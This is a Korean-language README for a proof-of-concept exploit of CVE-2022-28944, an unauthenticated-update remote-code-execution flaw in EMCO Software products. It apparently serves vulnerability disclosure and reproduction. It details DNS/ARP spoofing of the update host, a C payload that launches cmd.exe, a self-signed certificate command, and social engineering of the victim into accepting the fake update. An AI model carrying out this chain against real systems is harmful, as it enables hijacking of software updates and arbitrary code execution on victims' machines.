CVE-2022-28944

EMCO Software 여러 제품의 인증되지 않은 업데이트 원격 코드 실행 취약점.

사용법: python3 cve-2022-28944_poc.py

자세한 내용은 gerr.re 보고서를 참조하세요.

재현 단계

1. EMCO Software의 영향을 받는 제품을 설치합니다.
2. storage.emcosoftware.com을 공격자 IP로 스푸핑하도록 설정합니다.
   • 개념 증명을 위해 대상에서 c:\windows\system32\drivers\etc\hosts를 수정합니다.
     • 참고: 공격자는 예를 들어 다음을 사용할 수 있습니다:
       • 잘못 구성된 라우터/스위치/DNS,
       • DNS 스푸핑/캐시 포이즈닝,
       • ARP 스푸핑/캐시 포이즈닝.
3. 공격자 측에서 proof.c를 컴파일합니다(예: i686-w64-mingw32-gcc proof.c -o proof.exe 사용).

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}

4. 자체 서명된 인증서를 생성합니다.
   • 예: openssl req -new -x509 -keyout storage.emcosoftware.com.pem -out storage.emcosoftware.com.pem -days 365 -nodes -subj "/CN=storage.emcosoftware.com" 사용
5. 개념 증명 스크립트를 실행합니다.
6. EMCO Software의 영향을 받는 제품을 시작하고 다음 중 하나를 수행합니다:
   • 업데이트를 자동으로 트리거하기 위해 하루를 기다리거나,
   • 애플리케이션 메뉴를 통해 수동으로 업데이트를 트리거합니다.
7. 업데이트 마법사에서 업데이트를 수락합니다.
   • 공격자는 설득력 있는 업데이트 설명을 사용하여 대상이 업데이트를 수락하도록 유도합니다.